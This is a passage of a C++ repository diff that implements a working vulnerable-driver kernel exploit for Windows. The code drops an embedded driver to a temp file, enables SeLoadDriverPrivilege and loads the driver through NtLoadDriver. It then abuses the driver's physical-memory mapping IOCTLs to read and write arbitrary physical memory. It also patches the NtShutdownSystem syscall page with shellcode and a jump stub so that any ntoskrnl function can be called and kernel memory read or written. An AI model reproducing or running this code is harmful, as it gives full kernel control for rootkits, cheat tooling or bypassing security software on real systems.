std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return NtLoadDriver(&driver_reg_path_unicode);
}
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
std::srand(std::time(0));
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
__forceinline auto unload(const std::string& service_name) -> NTSTATUS
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_result =
NtUnloadDriver(&driver_reg_path_unicode);
util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(
std::filesystem::temp_directory_path()
.string() + service_name);
}
catch (std::exception& e)
{
return STATUS_ABANDONED;
}
return unload_result;
}
}

@ -0,0 +1,35 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#define PAGE_4KB 0x1000
constexpr auto SystemModuleInformation = 11;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
using PEPROCESS = PVOID;
using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(
HANDLE ProcessId,
PEPROCESS* Process
);

@ -0,0 +1,234 @@
#pragma once
#include <Windows.h>
#include <ntstatus.h>
#include <cstdint>
#include <string_view>
#include <algorithm>
#include <string_view>
#include <map>
#include "nt.hpp"
namespace util
{
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
__forceinline auto is_valid(std::uintptr_t addr) -> bool
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
return true;
return false;
}
#pragma pack (push, 1)
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
{
uint8_t type;
uint8_t shareDisposition;
uint16_t flags;
uint64_t pBegin;
uint32_t sizeButNotExactly;
uint32_t pad;
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
uint64_t size()const noexcept
{
if (flags & cm_resource_memory_large_40)
return uint64_t{ sizeButNotExactly } << 8;
else if (flags & cm_resource_memory_large_48)
return uint64_t{ sizeButNotExactly } << 16;
else if (flags & cm_resource_memory_large_64)
return uint64_t{ sizeButNotExactly } << 32;
else
return uint64_t{ sizeButNotExactly };
}
};
static_assert(sizeof(PhysicalMemoryPage) == 20);
#pragma pack (pop)
inline const auto init_ranges = ([&]() -> bool
{
HKEY h_key;
DWORD type, size;
LPBYTE data;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
data = new BYTE[size];
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
DWORD count = *(DWORD*)(data + 16);
auto pmi = data + 24;
for (int dwIndex = 0; dwIndex < count; dwIndex++)
{
#if 0
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
#else
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
pmem_ranges.emplace(page.pBegin, page.size());
#endif
pmi += 20;
}
delete[] data;
RegCloseKey(h_key);
return true;
})();
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
{
PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
PIMAGE_NT_HEADERS nt_headers =
reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
return &nt_headers->FileHeader;
}
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return nullptr;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
const auto module_base =
LoadLibraryEx(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
PDWORD addr, name;
PWORD ordinal;
p_idh = (PIMAGE_DOS_HEADER)module_base;
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
return NULL;
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
{
if (!strcmp(export_name, (char*)module_base + name[i]))
{
if (!rva)
{
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
else
{
auto result = (void*)addr[ordinal[i]];
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
}
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return nullptr;
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,145 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../util/loadup.hpp"
#include "raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack (push, 1)
typedef struct _gdrv_t
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t phys_addr;
unsigned long io_space;
unsigned long size;
} gdrv_t, *pgdrv_t;
#pragma pack (pop)
namespace vdm
{
inline HANDLE drv_handle;
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
{
const auto [result, key] =
driver::load(
vdm::raw_driver,
sizeof(vdm::raw_driver)
);
if (result != STATUS_SUCCESS)
return { {}, {}, result };
vdm::drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return { vdm::drv_handle, key, result };
}
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
{
if (!CloseHandle(drv_handle))
return STATUS_FAIL_CHECK;
return driver::unload(drv_key);
}
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(buffer, out_buffer[0], size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
return false;
gdrv_t in_buffer;
in_buffer.bus = NULL;
in_buffer.interface_type = NULL;
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
in_buffer.io_space = NULL;
in_buffer.size = size;
void* out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<void*>(&in_buffer),
sizeof in_buffer,
out_buffer,
sizeof out_buffer,
&returned, NULL
))
return false;
__try
{
memcpy(out_buffer[0], buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<void*>(&out_buffer[0]),
sizeof out_buffer[0],
out_buffer,
sizeof out_buffer,
&returned, NULL
);
}
}

@ -0,0 +1,122 @@
#include "vdm_ctx.hpp"
namespace vdm
{
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
:
read_phys(read_func),
write_phys(write_func)
{
// already found the syscall's physical page...
if (vdm::syscall_address.load())
return;
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA("ntoskrnl.exe", NULL,
DONT_RESOLVE_DLL_REFERENCES));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kmodule_export(
"ntoskrnl.exe",
syscall_hook.first,
true
));
vdm::nt_page_offset = nt_rva % PAGE_4KB;
// for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&vdm_ctx::locate_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void vdm_ctx::set_read(read_phys_t& read_func)
{
this->read_phys = read_func;
}
void vdm_ctx::set_write(write_phys_t& write_func)
{
this->write_phys = write_func;
}
void vdm_ctx::rkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
void vdm_ctx::wkm(void* dst, void* src, std::size_t size)
{
static const auto ntoskrnl_memcpy =
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
this->syscall<decltype(&memcpy)>(
ntoskrnl_memcpy, dst, src, size);
}
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
{
const auto page_data =
reinterpret_cast<std::uint8_t*>(
VirtualAlloc(
nullptr,
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
));
for (auto page = 0u; page < length; page += PAGE_4KB)
{
if (vdm::syscall_address.load())
break;
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
continue;
// check the first 32 bytes of the syscall, if its the same, test that its the correct
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
syscall_address.store(
reinterpret_cast<void*>(
address + page + nt_page_offset));
}
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
}
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
static std::mutex syscall_mutex;
syscall_mutex.lock();
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
// 0: 48 31 c0 xor rax, rax
// 3 : c3 ret
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
std::uint8_t orig_bytes[sizeof shellcode];
// save original bytes and install shellcode...
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
write_phys(syscall_addr, shellcode, sizeof shellcode);
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result == STATUS_SUCCESS;
}
}

@ -0,0 +1,103 @@
#pragma once
#include <windows.h>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include <functional>
#include "../vdm/vdm.hpp"
namespace vdm
{
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
inline std::atomic<bool> is_page_found = false;
inline std::atomic<void*> syscall_address = nullptr;
inline std::uint16_t nt_page_offset;
inline std::uint32_t nt_rva;
inline std::uint8_t* ntoskrnl;
using read_phys_t = std::function<decltype(vdm::read_phys)>;
using write_phys_t = std::function<decltype(vdm::write_phys)>;
class vdm_ctx
{
public:
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
void set_read(read_phys_t& read_func);
void set_write(write_phys_t& write_func);
void rkm(void* dst, void* src, std::size_t size);
void wkm(void* dst, void* src, std::size_t size);
template <class T, class ... Ts>
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
LoadLibraryA(syscall_hook.second),
syscall_hook.first
);
static std::mutex syscall_mutex;
syscall_mutex.lock();
// jmp [rip+0x0]
std::uint8_t jmp_code[] =
{
0xff, 0x25, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};
std::uint8_t orig_bytes[sizeof jmp_code];
*reinterpret_cast<void**>(jmp_code + 6) = addr;
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
// execute hook...
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
auto result = reinterpret_cast<T>(proc)(args ...);
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
syscall_mutex.unlock();
return result;
}
template <class T>
__forceinline auto rkm(std::uintptr_t addr) -> T
{
T buffer;
rkm((void*)&buffer, (void*)addr, sizeof T);
return buffer;
}
template <class T>
__forceinline void wkm(std::uintptr_t addr, const T& value)
{
wkm((void*)addr, (void*)&value, sizeof T);
}
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
{
static const auto ps_lookup_peproc =
util::get_kmodule_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId");
PEPROCESS peproc = nullptr;
this->syscall<PsLookupProcessByProcessId>(
ps_lookup_peproc,
(HANDLE)pid,
&peproc
);
return peproc;
}
private:
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
bool valid_syscall(void* syscall_addr) const;
read_phys_t read_phys;
write_phys_t write_phys;
};
}
Loading…
Cancel
Save